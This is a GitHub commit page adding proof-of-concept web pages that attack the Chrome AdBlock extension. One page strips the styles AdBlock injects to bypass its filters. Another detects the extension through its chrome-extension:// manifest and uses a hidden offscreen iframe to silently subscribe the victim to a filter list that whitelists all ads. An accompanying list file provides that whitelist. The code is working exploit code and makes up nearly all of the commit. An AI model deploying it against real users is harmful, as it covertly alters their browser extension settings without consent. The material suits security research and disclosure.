Skip to content

Commit 82ff65e

Browse files
committed
added adblock bypass
1 parent d635dab commit 82ff65e

File tree

4 files changed

+80
-0
lines changed

4 files changed

+80
-0
lines changed

chrome-addons/adblock/blockme.html

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
<p>I'm a nasty <marquee>ad</marquee> and I should be blocked by AdBlock!
2+
<p>Interested? Visit <marquee><a href=http://blog.kotowicz.net>my blog</a></marquee>

chrome-addons/adblock/bypass.html

Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
<html>
2+
<head>
3+
<script>
4+
5+
function block(node) {
6+
if ( (node.nodeName == 'LINK' && node.href == 'data:text/css,') // new style
7+
|| (node.nodeName == 'STYLE' && node.innerText.match(/^\/\*This block of style rules is inserted by AdBlock/)) // old style
8+
) {
9+
node.parentElement.removeChild(node);
10+
}
11+
12+
}
13+
document.addEventListener("DOMContentLoaded", function() {
14+
document.addEventListener('DOMNodeInserted', function(e) {
15+
// disable blocking styles inserted by AdBlock
16+
block(e.target);
17+
}, false);
18+
19+
}, false);
20+
21+
</script>
22+
</head>
23+
<body>
24+
<h1>Chrome AdBlock bypass</h1>
25+
<p>By <a rel=me href="http://blog.kotowicz.net">Krzysztof Kotowicz</a>
26+
<p>This page will block adBlock style insertion, therefore bypassing all adBlock filters
27+
<p>See also: <a href="disable.html">Chrome (AdBlock)^2</a>
28+
<br />
29+
<iframe style="border: 1px solid black" name="google_ads_try" src="blockme.html"></iframe>
30+
</body>
31+
</html>

chrome-addons/adblock/disable.html

Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
<html>
2+
<head>
3+
<script>
4+
var addon_id = 'gighmmpiobklfepjocnamgkkbiglidom';
5+
6+
var detect = function(base, if_installed, if_not_installed) {
7+
var s = document.createElement('script');
8+
s.onerror = if_not_installed;
9+
s.onload = if_installed;
10+
document.head.appendChild(s);
11+
s.src = base + '/manifest.json';
12+
}
13+
14+
function pwnAdblock() {
15+
// quietly subscribe to my list whitelisting everything
16+
document.getElementById('abp').src = 'chrome-extension://'+addon_id + '/pages/subscribe.html?location=' + location.href.replace('disable.html', 'list.txt');
17+
setTimeout(function() { document.getElementById('complete').style.display = 'block'}, 2000);
18+
}
19+
20+
document.addEventListener("DOMContentLoaded", function() {
21+
detect('chrome-extension://' + addon_id, function() {
22+
pwnAdblock();
23+
}, function () { alert('sorry, no AdBlock chrome addon is installed.');});
24+
25+
}, false);
26+
27+
</script>
28+
</head>
29+
<body>
30+
<h1>Chrome Ad(block)^2</h1>
31+
<p>By <a rel=me href="http://blog.kotowicz.net">Krzysztof Kotowicz</a>
32+
<p>This page will quietly subscribe your AdBlock to a list whitelisting all adds on all domains
33+
<p>See also: <a href="bypass.html">Chrome AdBlock bypass</a>
34+
<iframe style="position:absolute;left:-1000px;" id="abp" src=""></iframe>
35+
<p id=complete style=display:none>
36+
Adblock detected & disabled.
37+
<br />
38+
<a href="http://imageshack.us/f/69/welcometotheworldoftomo.jpg/">See for yourself!</a>
39+
</p>
40+
</body>
41+
</html>

chrome-addons/adblock/list.txt

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
[Adblock Plus 0.7.5]
2+
! Now this is some fine AdBlock list
3+
! http://anything.here
4+
! 26/11/2012 15:35 (DD/MM/YYYY)
5+
!Whitelist all domains & stop blocking ads, cool, ah?
6+
@@*$document,domain=~whitelist.all

0 commit comments

Comments
 (0)